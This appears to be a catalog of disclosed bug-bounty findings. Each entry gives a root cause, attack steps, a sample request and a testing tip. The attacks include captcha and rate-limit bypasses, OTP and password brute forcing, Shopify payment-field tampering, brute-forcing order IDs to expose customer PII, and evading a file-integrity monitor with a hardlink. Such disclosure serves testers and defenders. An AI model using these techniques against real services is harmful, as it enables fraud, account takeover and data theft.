Insight — When one code path enforces a state/permission check, enumerate sibling endpoints that perform the same action (compose vs mod-mail, web vs API, v1 vs v2) - checks are frequently missing on the less-trafficked route.
Real-world example
Email change via profile update keeps 'verified' flag
◆ Low
Specimen #302731 · mavenlink · awarded · 17 votes · resolved
Program mavenlinkSurface api
Root cause
A profile-update endpoint accepts an email field; changing an already-verified email through it updates the address but does not reset the verified status, so an unverified/attacker-set address inherits verified trust.
Method
- Send a profile-update request including a modified email field
- Observe the new (unverified) email is stored while the verified flag remains true
PATCH /users/<id> { ...profile fields..., "email":"attacker@example.com" }
Insight — When a state-changing field is editable through a secondary endpoint (profile/settings update) it often skips the verification workflow the primary flow enforces. Diff which endpoints can mutate email/phone and whether each resets the verified flag.
Real-world example
Missing range validation on stored numeric input (geo coordinates)
◆ Low
Specimen #838647 · who-covid-19-mobile-app · none · 15 votes · resolved
Program who-covid-19-mobile-appSurface api
Root cause
putLocation stored client-supplied latitude/longitude with no bounds check because the geometry library (S2LatLng.fromDegrees) intentionally does not validate earth coordinates, so impossible values were accepted and persisted.
Method
- Send putLocation with an arbitrary who-client-id you generate
- Provide out-of-range/typed values (e.g. latitude 22222222, longitude "9999999" as a string)
- Server returns 200 and stores the bogus coordinates
POST /WhoService/putLocation {"latitude":22222222,"longitude":"9999999"}
Insight — Don't assume a domain library validates its inputs - many (geometry, math, parsing) are deliberately permissive. Test numeric fields with out-of-range, wrong-type (string vs number), and NaN/Infinity to poison analytics/integrity.
Real-world example
Removed member re-adds self using a still-valid invitation acceptance token
◆ Low
Specimen #300881 · mavenlink · awarded · 14 votes · resolved
Program mavenlinkSurface web
Root cause
The invitation acceptance URL/token is not invalidated after the invite is consumed or after the member is later removed, so replaying the original acceptance link re-grants membership.
Method
- Accept an invitation and note the acceptance URL /account_invitations/<token>/acceptances/new
- Have an admin remove the account from active members
- Revisit the noted acceptance URL and click Accept; membership is restored
GET/POST https://app.TARGET.com/account_invitations/<token>/acceptances/new (click Accept again after removal)
Insight — Invitation/acceptance tokens must be single-use and revoked on membership removal. Always retest a saved invite/accept link after being deprovisioned; persistent tokens are a common re-entry primitive.
Real-world example
Payment overcharge/refund via negative rounding fields in PoS API
◆ Low
Specimen #1089978 · shopify · awarded · 12 votes · resolved
Program shopifySurface api
Root cause
The PoS payment API accepts client-supplied amount, amount_in, amount_rounding, amount_out fields that are meant to satisfy amount = amount_in - amount_rounding - amount_out, but the server does not re-derive them and permits negative values, so the amount charged (amount_in) can be decoupled from the cart price.
Method
- Proxy the PoS app and intercept the payments.json request during card checkout
- Raise amount_in above the cart price and set amount_rounding negative to keep the equation balanced (overcharge)
- Alternatively set amount_out to a non-negative value to push money from shop to customer (refund)
POST /admin/api/unstable/checkouts/<id>/payments.json
{"payment":{"amount":1.09,"amount_in":2.09,"amount_rounding":-1.0,"amount_out":0,"charge":true,"card_source":"manual",...}}
Insight — When a checkout body carries several redundant money fields tied by an invariant, test each independently and try negative values; servers often validate only the headline 'amount' and trust the rest. Look for amount/tip/rounding/discount/tax fields that should be server-derived.
Real-world example
Captcha bypass by dropping the captcha parameter
◆ Low
Specimen #642498 · kartpay · none · 12 votes · resolved
Program kartpaySurface web
Root cause
Captcha validation on forgot-password was optional server-side: removing the captcha token/response field from the request still processed the request, so the challenge was never enforced.
Method
- Trigger the captcha-protected action (forgot password)
- Intercept the submit request
- Remove the captcha token/response parameter entirely and forward
- Request is accepted without solving the captcha
POST /forgot-password
(email=victim@TARGET <captcha param removed>)
Insight — Test captcha/anti-automation by deleting the token param (and by replaying an old solved token) - servers frequently only validate when the field is present, so absence == bypass.
Real-world example
One-time checkout page re-accessed via cookie-forced ID at alternate endpoint
◆ Low
Specimen #271176 · lyst · awarded · 12 votes · resolved
Program lystSurface webChain logic bypass -> unauth IDOR brute-force -> PII disclosTag account-takeover
Root cause
The single-use guard lives only on the /checkout-router/[ID]/ page; the downstream order page trusts the same ID supplied as a basket_key cookie, so any (unauthenticated) request with a valid ID renders that order's confirmation PII.
Method
- Complete a checkout to learn the ID format (19-digit basket key) and the downstream endpoint /new/checkout/order/.
- Instead of re-visiting the one-time /checkout-router/[ID]/ page, request the order endpoint with the ID injected as the basket_key cookie.
- Brute-force the 19-digit ID (no rate limit, no auth) to dump other customers' items, prices, name, billing address, email, phone.
GET /new/checkout/order/ HTTP/1.1
Host: checkout.lyst.com
Cookie: basket_key=7092456849791607456
Insight — When a page is 'view-once', look for a second endpoint that consumes the same identifier from a different location (cookie/param/header) and lacks the guard. Single-use logic must be enforced on the data, not one URL.
Real-world example
Vote-required gate bypassed with an out-of-range option id
◆ Low
Specimen #434116 · phabricator · 300 · 12 votes · resolved
Program phabricatorSurface webTag account-takeover
Root cause
A poll set to 'require a vote to see results' flips the has-voted state on any submission, including one carrying an invalid/out-of-range option id, so an attacker sees results without casting a valid vote.
Method
- As a non-voter, open a results-gated poll and confirm results are hidden
- Intercept a vote and replace the option id with an illegal value (a large number)
- Submit; results are now visible though no valid vote was recorded
vote[]=999999999
Insight — Whenever access to X is gated on 'you must do Y', try doing Y with invalid data. Servers often set the 'Y done' flag before validating Y's payload, unlocking X without the real action.
Real-world example
No rate limit on login step-up confirmation code — brute forceable
◆ Low
Specimen #174668 · bumble · awarded · 11 votes · resolved
Program bumbleSurface apiTag account-takeover
Root cause
When logging in from a new IP, Badoo/Bumble requires confirming a mobile-number/security code, but the confirmation endpoint has no attempt limit. The code space is small and the response cleanly distinguishes correct vs incorrect, so it is brute-forced (correct code found around request ~56).
Method
- Trigger the new-IP security check on login
- Capture the confirmation request and send to Intruder
- Fuzz the code field
- Correct code returns success:true (server_error error_id captcha with complete/success flags); wrong code returns success:false
# success oracle in JSON body:
"client_security_check_result":{...,"complete":true,"success":true} # correct
"client_security_check_result":{...,"success":false,"error_text":"Digitos errados."} # wrong
Insight — Any short numeric secret gating auth (SMS/step-up/confirmation/join codes) must be rate-limited AND ideally locked after N tries. Look for a clean success/failure differential in the response and confirm no per-account/per-IP throttling; then brute force. Test the endpoint directly, not just the UI, since UI throttles are often absent server-side.
Real-world example
Brute-force current password via unthrottled 'confirm your identity' (disable-2FA) endpoint
◆ Low
Specimen #1465277 · omise · none · 11 votes · resolved
Program omiseSurface webChain Open session (password unknown) -> brute-force password vTag account-takeover
Root cause
To disable 2FA the app re-prompts for the current password on a 'confirm your identity' form, but that confirmation endpoint has no rate limiting. From an already-open (e.g. shared/forgotten) session, an attacker brute-forces the account password; a content-length difference reveals the correct one, then disables 2FA.
Method
- Use a victim session that is logged in but where the password is unknown
- Go to Two-factor authentication -> Disable 2FA
- Submit a random password in 'confirm your identity'
- Capture and fuzz the password field; correct password produces a different response length
- Recover the password and disable 2FA
# oracle: response Content-Length differs on the correct password
Insight — Re-authentication / 'confirm your identity' / 'sudo mode' password prompts are frequently forgotten in rate-limit configs because they are not the primary login. Any endpoint that accepts the account password (change email, disable 2FA, delete account, view secrets) is a brute-force oracle — test it independently of the login form.
Real-world example
Array-param batching to bypass per-request rate limit for token brute force
◆ Low
Specimen #1559262 · ibb · awarded · 11 votes · resolved
Program ibbSurface webChain Rate-limit bypass -> confirmation_token guess -> sign-Tag account-takeover
Root cause
Rails finds the token with User.find_by(confirmation_token: params[:token]); passing an array turns it into WHERE token IN (...), so one HTTP request tests thousands of candidates while rate limits count only requests.
Method
- Locate a lookup filtering by a secret token/param (email confirm, password reset)
- Send the param as an array (token[]=a&token[]=b or JSON {"token":[...]})
- Server issues a single IN(...) query matching any candidate
- Pack up to millions of tokens per request, collapsing the rate limit
curl --globoff 'https://TARGET/email_confirmations/confirm?token[]=key1&token[]=key2'
# or JSON body: {"token": ["...100000 candidates..."]}
# -> SELECT * FROM users WHERE confirmation_token IN ($1,$2,...) LIMIT 1
Insight — Rate limits that count requests are defeated when one request carries many guesses. Test array/HPP/JSON-array forms of any secret-token param; ORM find_by silently accepts arrays as IN() lookups.
Real-world example
Bruteforce protection missing on an alternate endpoint
◆ Low
Specimen #1192144 · nextcloud · awarded · 11 votes · resolved
Program nextcloudSurface web
Root cause
The share-token bruteforce throttle only fires for password-protected or file-drop shares; the mount-public-link endpoint reaches the same token lookup without triggering throttling, so tokens can be brute forced there.
Method
- Identify the primary access path that is rate-limited/throttled
- Find a secondary endpoint reaching the same secret lookup (federated mount / API / mobile)
- Brute force the token through the unprotected endpoint
POST /apps/federatedfilesharing/mountpubliclink (token param) -- bruteforce throttle path not hit
Insight — Throttling is often bolted onto one code path; enumerate every controller that reaches the same secret and test each for missing rate limiting. Related to #1173684.
Real-world example
SMS-bombing via unthrottled OTP resend
◆ Low
Specimen #263010 · unikrn · awarded · 10 votes · resolved
Program unikrnSurface apiTag account-takeover
Root cause
The phone-verification 'resend' endpoint has no per-user/per-number rate limit, so replaying the resend request N times sends N SMS to an attacker-chosen number, amplifying provider cost and enabling SMS flooding of a victim.
Method
- Enter a target phone number and request verification
- Intercept the resend request
- Send it to Intruder with the resend counter as payload position
- Fire a large count; each request dispatches another SMS
POST /apiv2/user/verifytelephone HTTP/1.1
Host: TARGET
Content-Type: application/json
{"session_id":"<sid>","resend":§1§}
Insight — Any SMS/email 'resend' or OTP-send endpoint without rate limiting is a real financial/abuse bug (SMS pumping, victim harassment), not a no-impact rate-limit nag. Confirm cost/victim impact to make it in-scope.
Real-world example
Password-strength policy enforced on signup but not on reset
◆ Low
Specimen #287758 · infogram · none · 9 votes · resolved
Program infogramSurface webTag account-takeover
Root cause
Security validation (insecure-password rejection) is enforced on one entry point (signup) but a parallel entry point (password reset) sets the password without the same check, so the policy is bypassed via the weaker path.
Method
- Confirm signup rejects a weak password (e.g. 1234567890 -> 'Insecure password')
- Request a password reset for an existing account
- Set the same weak password on the reset page -> accepted, policy bypassed
# signup rejects: password=1234567890
# reset page accepts: password=1234567890
Insight — Whenever a rule (password strength, email verification, rate limit, uniqueness) is enforced at signup, test every OTHER place the same field can be set - reset, profile edit, API, import - for the missing check. Parallel-endpoint validation gaps are everywhere.
Real-world example
HSTS state not carried across transfers -> HTTPS-to-cleartext downgrade (curl, CVE-2023-23914/23915)
◆ Low
Specimen #1874715 · ibb · USD 480 · 8 votes · resolved
Program ibbSurface otherChain HSTS state loss -> HTTP downgrade -> MITM of cleartext
Root cause
curl's HSTS knowledge learned on one transfer is not propagated to subsequent transfers in the same invocation: serially the state is dropped (CVE-2023-23914), and with --parallel the HSTS cache file is overwritten by the last-completing transfer (CVE-2023-23915), so a later http:// request to a known-HSTS host is not upgraded and goes cleartext.
Method
- Request an HSTS host then an http:// URL for the same host in one command; the second is not upgraded
- Or run parallel transfers sharing an --hsts file; the file is clobbered, losing earlier hosts
- A later http:// transfer to a lost host stays cleartext (downgrade / interceptable)
curl --hsts "" https://curl.se http://curl.se # 2nd not upgraded (CVE-2023-23914)
curl --hsts hsts.txt --parallel https://curl.se https://example.com
curl --hsts hsts.txt http://curl.se # amnesia (CVE-2023-23915)
Insight — Security state (HSTS, pinning, cookies-secure) must persist across every transfer and be merged, not overwritten, when a shared state file is used concurrently. When testing clients, check that state learned in one request/thread survives into later ones; race the state file with parallel writers.
Real-world example
Frontend/backend validation mismatch enables action replay & input abuse
◆ Low
Specimen #808755 · security · none · 7 votes · resolved
Program securitySurface webTag webhook
Root cause
UI enforces one-shot / length limits (disabled button, maxlength) that the server does not re-enforce, so replaying the raw request repeats a once-only action or submits oversized input.
Method
- Perform the one-time action (e.g. ban_researcher) once; note the UI now disables the button.
- Capture the request in a proxy and re-send it repeatedly.
- Backend re-processes each time -> multiple emails/notifications to victim and platform (spam).
POST /reports/<id>/ban_researcher HTTP/1.1
X-CSRF-Token: <token>
message_to_hackerone=test&message_to_researcher=test # replay N times
Insight — Any control that is only enforced client-side (disabled button, hidden field, maxlength attribute, wizard step order) is not a control. Replay the raw request and change/omit client-only constraints; look for once-per-account actions and unbounded input fields.
Real-world example
User enumeration via validation-check ordering behind rate limit
◆ Low
Specimen #262830 · unikrn · awarded · 7 votes · resolved
Program unikrnSurface apiTag account-takeover
Root cause
The registration endpoint checks 'email already registered' (and password policy) BEFORE the rate-limit/anti-abuse check runs, so distinct error responses leak account existence even though a rate limit exists later in the pipeline.
Method
- Submit registration with a known email + valid password -> 'Email address already registered' (Case 1)
- Submit with a fresh email + valid password until rate-limited -> 'Suspicious Activity - Multiple Accounts' (Case 2)
- Submit with fresh email + weak password -> password-policy error (Case 3)
- Differentiate: Case 1 = account exists; the rate limit never gates the existence check
POST /apiv1/register HTTP/1.1
Host: unikrn.com
Content-Type: application/json
{"email_address":"victim@gmail.com","day":"1","month":"1","year":"1999","state":null,"password":"a12345678","password_confirm":"a12345678","session_id":null}
-> {"error":true,"msg":"Email address already registered.","code":124}
Insight — Rate limiting does not stop enumeration if the existence check fires first. When auditing registration/reset flows, diff the response for existing vs non-existing accounts and map the order of server-side checks; put anti-abuse BEFORE any state-dependent branch.
Real-world example
Client-side-only limit: intercept and exceed max bet
◆ Low
Specimen #147237 · fantasytote · none · 7 votes · resolved
Program fantasytoteSurface webTag webhook
Root cause
The maximum bet cap is enforced only in the client; intercepting the submit request and raising the amount past the cap is accepted because the server does not revalidate the limit.
Method
- Place a bet at the allowed maximum (e.g. 150).
- Intercept the request in a proxy and change the amount to an over-limit value (e.g. 1000).
- Forward it; the server accepts the over-cap bet.
POST /placeBet ... amount=1000 # intercepted, was capped at 150 client-side
Insight — Every client-enforced limit (max/min amount, quantity, discount) is a server-side validation test. Intercept and push values past the UI bound; caps that exist for business reasons are often not mirrored server-side.
Real-world example
Loopback 'is_local_address' trust check bypassed via Tor/proxy
◆ Low
Specimen #361269 · monero · none · 6 votes · resolved
Program moneroSurface desktop
Root cause
The wallet decides a daemon is trusted by testing is_local_address(); when run under torsocks/proxychains, remote .onion addresses are resolved to a loopback address internally, so the check returns true and an untrusted remote node is treated as trusted.
Method
- Run the client under torsocks/proxychains pointing at a remote .onion daemon
- The proxy maps the onion address to 127.0.0.1 internally
- is_local_address() returns true -> daemon treated as trusted
- Trusted-only commands (rescan_bc) succeed, exposing private data to the remote node
torsocks monero-wallet-cli --daemon-address zdhkwneu7lfaum2p.onion:18099
> rescan_bc # only available to a 'trusted' daemon, yet runs
Insight — Any security decision keyed on 'is this address localhost/loopback?' is unsound in the presence of SOCKS proxies, port-forwards or DNS-rebinding that surface a remote peer as 127.0.0.1. Trust must be explicit, not inferred from the address family.
Real-world example
Invitation token not invalidated on accept => reusable team-invite link
◆ Low
Specimen #48422 · security · 500 · 6 votes · resolved
Program securitySurface web
Root cause
Accepting a team invitation does not consume/invalidate the invite token, so the same link can be redeemed multiple times by different accounts to join the team.
Method
- Obtain a legitimate invite link sent to one address
- Redeem it from a different account and accept
- Observe the invitation is still live and can be redeemed again by more accounts
https://hackerone.com/invitations/{token} # still valid after acceptance; reusable N times
Insight — Test single-use links (invites, resets, verifications, coupons) for reuse: redeem, then redeem again from a different account. Tokens that aren't invalidated on first successful use let attackers add themselves to teams/tenants or replay one-time actions.
Real-world example
Rating value manipulation to INT max/min via intercepted API
◆ Low
Specimen #73808 · udemy · awarded · 5 votes · resolved
Program udemySurface api
Root cause
The course-rating API trusts the client-supplied numeric value with no server-side range validation, so an attacker submits values far outside 1-5 (up to 2147483647 or negative) which poison the average-rating calculation.
Method
- Enrol/qualify to rate an item (course)
- Submit a legitimate rating and intercept the API request
- Replace the rating value with 2147483647 (or -2147483648) and forward
- Observe the aggregate/average being corrupted
# intercepted rating request, modify the numeric field
rating=2147483647 # or -2147483648
Insight — Any numeric field bound to a business calculation (rating, quantity, score, price, age) should be fuzzed with negatives, zero, and 32/64-bit boundary values. Client widgets constrain 1-5 but the API often does not; boundary values reveal missing server-side bounds checks and integer handling bugs.
Real-world example
Object-reference reassignment: reusing an attachment ID deletes it from the original owner
◆ Low
Specimen #123615 · security · awarded · 3 votes · resolved
Program securitySurface webTag account-takeover
Root cause
An inline-attachment reference (Fxxxxx) is moved rather than copied when referenced from a new draft: binding an existing attachment_id into a second report reassigns ownership and removes it from the first report.
Method
- Create report A with an inline attachment; note its reference_id (Fxxxxx).
- Start a new report B and reference the same Fxxxxx via POST /reports/draft_sync.
- Open /reports/new -> the attachment now shows on B.
- Reopen report A -> the attachment (and its reference) has been deleted from A.
POST /security/reports/draft_sync HTTP/1.1
(body references existing attachment reference_id {Fxxxxx} belonging to another report)
Insight — When an app lets you reference an object by ID across containers, test whether referencing moves vs copies the object. A move-on-reference bug is an integrity/data-loss primitive (delete another context's data) even without cross-user access.
Real-world example
File-integrity monitor bypass via NTFS hardlink (watch path != inode)
◆ Low
Specimen #141700 · glasswire · awarded · 3 votes · resolved
Program glasswireSurface desktopTag account-takeover
Root cause
A security product monitors changes to a sensitive file by its path (C:\Windows\System32\drivers\etc\hosts). Writes made through a hardlink to the same file modify the underlying data without touching the watched path, so no alert fires.
Method
- As admin, create a hardlink to the monitored file: fsutil hardlink create c:\ProgramData\hosts.txt c:\windows\system32\drivers\etc\hosts.
- Write through the hardlink: echo ::1 example.local>>c:\ProgramData\hosts.txt.
- Observe no 'system file changed' alert, while a direct write to the original path does alert.
fsutil hardlink create c:\ProgramData\hosts.txt c:\windows\system32\drivers\etc\hosts
echo ::1 example.local>>c:\ProgramData\hosts.txt
Insight — Any path-based file/registry monitor can be evaded by mutating the object through an alias (hardlink, junction, symlink, 8.3 short name, \\?\ device path). When assessing EDR/integrity monitors, test alias-write bypass; fix requires watching the inode/creation of hardlinks, not just the canonical path.
Real-world example
Direct API call bypasses email-verification gate on upload
◆ Low
Specimen #43758 · vimeo · none · 3 votes · resolved
Program vimeoSurface web
Root cause
The 'must verify email before uploading a profile photo' restriction is enforced only in the UI; calling the underlying upload API sequence directly skips the verification check.
Method
- As an unverified user, call the internal upload endpoint directly (set your own id)
- Server returns a signed upload/image URL and accepts the upload despite unverified email
POST /upload/_get_image_url HTTP/1.1
Host: vimeo.com
X-Requested-With: XMLHttpRequest
type=portrait&id=<your_user_id>
Insight — Any 'you must verify/confirm/complete step X first' gate is a candidate for a direct-API bypass. Capture the request the gated feature would make and send it while still in the un-gated state.
Real-world example
Entitlement bypass by swapping paid resource id (free use of paid track)
◆ Low
Specimen #50941 · vimeo · awarded · 3 votes · resolved
Program vimeoSurface web
Root cause
The video-enhancer accepts a track_id without verifying the user purchased it, so swapping a free track_id for a paid one applies the paid music without payment.
Method
- Start enhancing a video with a free track and capture the save request
- Replace track_id with a paid track's id
- Send; the enhanced video is produced with the paid track, no purchase
POST /enhancer HTTP/1.1
Host: vimeo.com
action=save&token=<token>&clip_id=<clip>&track_id=<paid_track_id>&job_data=...
Insight — Wherever a paid/premium item is referenced by id at consumption time, test whether the entitlement/purchase check is enforced there or only at the purchase UI. Swap a free item id for a paid item id.
Real-world example
Unauthenticated, unbounded rating manipulation
◆ Low
Specimen #76784 · zaption · none · 3 votes · resolved
Program zaptionSurface web
Root cause
A rating endpoint takes the mark directly in the URL path with no authentication and no bounds/validation, letting anyone submit arbitrary huge values to skew ratings.
Method
- POST to the rate endpoint with an out-of-range mark
- The rating is accepted, corrupting the aggregate/layout
POST http://www.zaption.com/ajax/gallery/listing/<tour_id>/rate/100000000000000000
Insight — Rating/vote/like endpoints frequently lack auth, per-user limits, and value bounds. Test submitting values outside the UI range (negative, huge) and repeated submissions from one identity.
Real-world example
Frictionless resource-ownership transfer without consent or notification
◆ Low
Specimen #46618 · enter · awarded · 2 votes · resolved
Program enterSurface webChain phone enumeration -> add victim as signer -> reassign Tag account-takeover
Root cause
A shared resource (crypto wallet) could have its ownership reassigned to another user with no confirmation, consent, or notification to any party, and the share/add feature had no rate limiting - so an attacker could add arbitrary users and spoof ownership.
Method
- Create a wallet and share it (as SIGNER) with target users identified only by phone number
- Iterate phone numbers in the share request until a valid registered user is hit (response differs for valid vs invalid), enumerating name+phone
- Reassign wallet ownership to a target user (B) - no confirmation prompt and no email to B or other signers
- Result: attacker (A) spoofs B as owner; other signers see B as the malicious owner
POST /dashboard/account/<ACCOUNT_ID>/sharing/create HTTP/1.1
Host: wallet.robocoin.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: SESSION=<redacted>
phone=%2B1+<PHONE_NUMBER>&countryCode=US&bankAccountPermissionType=SIGNER&_csrf=<redacted>
Insight — Any state-changing action that grants/transfers access to another account (ownership, membership, roles) must require the recipient's confirmation AND notify all affected parties. When it doesn't, and the invite endpoint is unrate-limited, the same call doubles as a user-enumeration oracle (name+phone) via valid/invalid response differences.
Real-world example
Web-intent parameter bleed: favorite param overrides the follow-form target
◆ Low
Specimen #97510 · x · 280 · 1 votes · resolved
Program xSurface webTag account-takeover
Root cause
In Twitter web intents, a screen_name parameter passed to the favorite intent persists into the follow-complete page and is injected as a hidden form input; on the follow POST that injected input overrides the URL-referenced user, so the victim follows an attacker-chosen account instead of the tweet author.
Method
- Trigger the favorite intent with an attacker-chosen screen_name param.
- After favoriting, the user is redirected to the intent/favorite/complete page carrying screen_name.
- The follow button on that page submits a POST whose injected screen_name/user_name input overrides the intended user.
- Victim believes they follow the tweet author but actually follows the attacker-specified account.
https://twitter.com/intent/favorite/?tweet_id=661625230297821184&screen_name=ATTACKER_ACCOUNT
-> redirect -> https://twitter.com/intent/favorite/complete?tweet_id=...&screen_name=ATTACKER_ACCOUNT
(follow POST carries injected screen_name input which overrides the form's target user)
Insight — In multi-step intent/flow pages, parameters from an earlier action can bleed into a later form as hidden inputs and override server-intended values (parameter-pollution / mass-assignment style). Diff the request body of the final action vs the visible URL to catch injected fields that change who/what the action targets.
Real-world example
User-controllable identifier (uuid) collides with existing account at signup
◆ Low
Specimen #15578 · fanfootage · none · 1 votes · resolved
Program fanfootageSurface web
Root cause
The uuid used to route to a user's public profile is client-controllable during signup and not enforced unique, so an attacker can register a uuid already assigned to another user; profile-link resolution then becomes ambiguous depending on DB fetch order.
Method
- During signup, set the uuid parameter to the value of a target existing user.
- Also reuse the same display username (usernames are non-unique too).
- Post a comment/like; the profile hyperlink now resolves to either account depending on how records are fetched.
POST /signup
...&username=<victim_username>&uuid=<victim_uuid>
Insight — Whenever a 'unique' public identifier is accepted from client input at registration, test setting it to an existing value. Non-enforced uniqueness on routing keys causes identity confusion, link hijacking, and can seed IDOR-style ambiguity.
Real-world example
Email-verify side effect silently disables 'Protect your Tweets'
◆ Low
Specimen #472013 · x · USD 2940 · 119 votes · resolved
Program xSurface mobile-android
Root cause
Verifying a new email in the Android app resubmits the account settings form with an unchecked/default 'protected' flag, silently flipping the private-tweets setting to public.
Method
- Log into Twitter Android with a protected account
- Change the account email
- Verify the new email from the same device by clicking the link
- 'Protect your Tweets' is now unset -> tweets are public
Insight — When one action re-saves a whole settings form, unrelated privacy/security toggles can be reset to defaults. Test whether email/phone/password changes preserve or clobber independent boolean settings (2FA, private, notifications).
Real-world example
Reward/redemption not bound to authenticated account (identifier confusion)
◆ Low
Specimen #3378540 · security · awarded · 118 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A rewards system issues a valuable license based on an email submitted to a Google Form, with no check that the email matches the qualifying account and no rate limit/CAPTCHA, so submitting different emails yields unlimited valid licenses.
Method
- Receive a reward redeem link (Google Form)
- Submit the form with an arbitrary email -> receive a valid license
- Repeat with different emails to mint unlimited licenses
Insight — Whenever a redemption/reward/coupon flow accepts a free-text identifier (email) instead of the authenticated session, test decoupling it from the account and replaying with fresh identifiers; add-rate-limit/one-per-account gaps = financial abuse.
Real-world example
Multi-step verification skipped by navigating to post-verification URL
◆ Low
Specimen #2286745 · tiktok · awarded · 84 votes · resolved
Program tiktokSurface webTag account-takeover
Root cause
The TikTok Seller signup phone-verification step is enforced only by client-side flow; after the initial login steps an attacker can manipulate the URL to jump past verification and create an account without verifying a phone number.
Method
- Begin seller signup and complete the initial login steps
- Manipulate/rewrite the URL to the post-verification signup stage
- Complete account creation without the phone-verification step
Insight — In multi-step onboarding (KYC/OTP/verification), test whether the server enforces step completion or just the client redirects. Try navigating directly to the next-step URL or replaying its request without the verification token.
Real-world example
Email-reply channel bypasses the web paywall/access gate
◆ Low
Specimen #261221 · mavenlink · awarded · 28 votes · resolved
Program mavenlinkSurface web
Root cause
An expired trial user is blocked from the web UI (forced to a buy-plan page) but the email->comment ingestion path posts their replies into project conversations, granting the paid-only 'participate' capability the web tier denies.
Method
- Invite a user whose trial/subscription has expired to a project
- Post a comment so the expired user gets a notification email
- Expired user replies to the email; the reply is posted as a project comment despite no web access
Insight — When the web UI enforces a gate (paywall, role, MFA), test alternate ingress channels (inbound email, API, mobile, webhooks). Access checks are often only implemented on the primary channel.
Real-world example
Security control fails silently: rejected share-password leaves resource public
◆ Low
Specimen #428660 · nextcloud · USD 50 · 22 votes · resolved
Program nextcloudSurface web
Root cause
Setting a share-link password that violates the Password Policy plugin is rejected on the backend but the Gallery UI gives identical success feedback with no error, so the user believes the link is protected while it stays public.
Method
- Enable the Gallery and Password Policy plugins and upload an image
- Share the image as a public link and choose Password protect
- Enter a password that violates the policy (e.g. vjhtdf68)
- No error is shown (same as success), but no password is set - the link is public
Insight — Look for security toggles whose failure path returns the same UI/HTTP feedback as success. Silent failure of a protection creates a false sense of security and a real exposure - test each control with inputs the backend will reject.
Real-world example
Bypass a once-per-period usage limit not enforced server-side
◆ Low
Specimen #486629 · eternal · awarded · 22 votes · resolved
Program eternalSurface mobile-android
Root cause
A 'once per restaurant per day' redemption limit is a policy that is not validated on the backend, so repeating the unlock flow issues multiple valid redemptions (Visit IDs) the same day at the same venue.
Method
- With a subscribed account, open the loyalty (Zomato Gold) unlock for a partner restaurant
- Confirm the unlock and receive a Visit ID
- Repeat the unlock flow at the same restaurant the same day
- A second distinct Visit ID/time is issued, redeeming the benefit again
Insight — Rate/usage limits stated in T&Cs are often never enforced in code. Re-run any 'one per day / one per user / one per item' redemption and check whether the server issues a second valid token.
Real-world example
Cross-client privacy-setting desync resets 'protected' flag
◆ Low
Specimen #519059 · x · 560 · 17 votes · resolved
Program xSurface mobile-androidTag account-takeover
Root cause
A privacy setting (Protect your Tweets) enabled on one client is silently overridden to public when an unrelated setting is changed in the Android app, because the app pushes a stale full-settings blob.
Method
- Enable the privacy setting on client A (web).
- On client B (Android app) change an unrelated setting (e.g. DM read receipts).
- Observe the privacy setting reverts to the insecure default.
Insight — When multiple clients write a shared settings object, changing one field can clobber others if the client PUTs a whole stale record. Test privacy/security toggles for regression when a different setting is saved from another device/app.
Real-world example
Ephemeral-message deletion depends on background cron
◆ Low
Specimen #1784310 · nextcloud · awarded · 15 votes · resolved
Program nextcloudSurface web
Root cause
Message 'expiration' only schedules deletion via a background job; the message is not removed at read/fetch time, so if cron is not running (or the message is fetched by direct link) expired content is still served.
Method
- Enable message expiration on a conversation; intercept and set a short TTL (e.g. 60s)
- Send a message and wait past the TTL
- Reopen the conversation via its direct link and observe the 'expired' message is still returned
Insight — For any ephemeral/self-destruct/expiring feature, test whether deletion is enforced server-side at fetch time or merely queued to a background worker - refetch the resource directly after expiry to see if it persists.
Real-world example
Bypass forced share-password via alternate sharing path
◆ Low
Specimen #1406926 · nextcloud · USD 100 · 14 votes · resolved
Program nextcloudSurface web
Root cause
Admin 'force password on link/email shares' is enforced on the normal share flow but not when sharing to a Circle that contains an email address, producing an unprotected share link (CVE-2022-29163).
Method
- As admin enable forced passwords for link and email shares
- As user create a Circle and add an email address to it
- Share a file to that Circle - the resulting link is not password protected
Insight — A security policy is only as strong as its weakest code path. When a feature can be reached through multiple flows (direct share vs Circles/groups vs API), test each independently - secondary paths frequently skip the policy check the primary path enforces.
Real-world example
Ban bypass: banned user submits via email-keyed embedded form, claims later
◆ Low
Specimen #1133536 · security · none · 12 votes · resolved
Program securitySurface web
Root cause
A ban is enforced only on the authenticated login path, not on an alternate, unauthenticated intake (embedded submission form) that identifies the actor by email; the pending object is later claimable once the ban lifts via the invitation link.
Method
- Ban a test user from the platform (login blocked)
- Open the public embedded submission form and submit using the banned user's email address
- Observe invitation belongs to banned-user; after unban, log in and claim the submission
Insight — Enforcement placed on the primary auth flow rarely covers side-channel intakes that key off email/phone (embedded forms, API import, invite links). When testing bans/blocks, enumerate every actor-identifying entry point, not just login.
Real-world example
Moderator can remotely re-enable a user's cam/mic via permission toggle
◆ Low
Specimen #1520685 · nextcloud · awarded · 9 votes · resolved
Program nextcloudSurface web
Root cause
In Nextcloud Talk, if a moderator removed then re-granted a participant's media permissions, the client re-activated the camera/microphone using their prior on-state instead of leaving them off, letting a moderator turn a user's cam/mic back on without consent.
Method
- User B joins a call and enables camera/mic
- Moderator A revokes all of B's permissions (cam/mic go off)
- Moderator A re-grants all permissions -> B's cam/mic re-enable remotely (unless B had manually turned them off first)
Insight — When permission state is toggled, the safe default after re-grant is 'off', requiring explicit user re-consent. Test permission revoke/re-grant cycles in conferencing/media apps for state that resumes streaming without the owner's action.
Real-world example
Notification subscription survives loss of program access
◆ Low
Specimen #177484 · security · none · 9 votes · resolved
Program securitySurface web
Root cause
A user subscribed to a program's policy-change notifications kept receiving those notifications after the program went private / removed the user, leaking policy updates the user should no longer see.
Method
- Subscribe to change notifications for a public program ('Notify me of changes')
- Have the program transition to private or remove your access
- Observe you still receive policy/scope change emails after access was revoked
Insight — Access-revocation rarely purges derived state: notification subscriptions, webhooks, cached feeds, email digests. When testing authZ changes, verify that side-channel deliveries (emails, push, RSS) stop too, not just direct page access.
Real-world example
Password change validates new password before verifying old one
◆ Low
Specimen #255679 · legalrobot · awarded · 9 votes · resolved
Program legalrobotSurface webTag account-takeover
Root cause
On a single change-password form the new-password rules are evaluated before the current/old password is verified, so distinct error responses turn the form into an oracle for guessing the old password.
Method
- On a shared/hijacked-but-not-authenticated-enough session, submit change-password with a guessed old password and a deliberately invalid new password
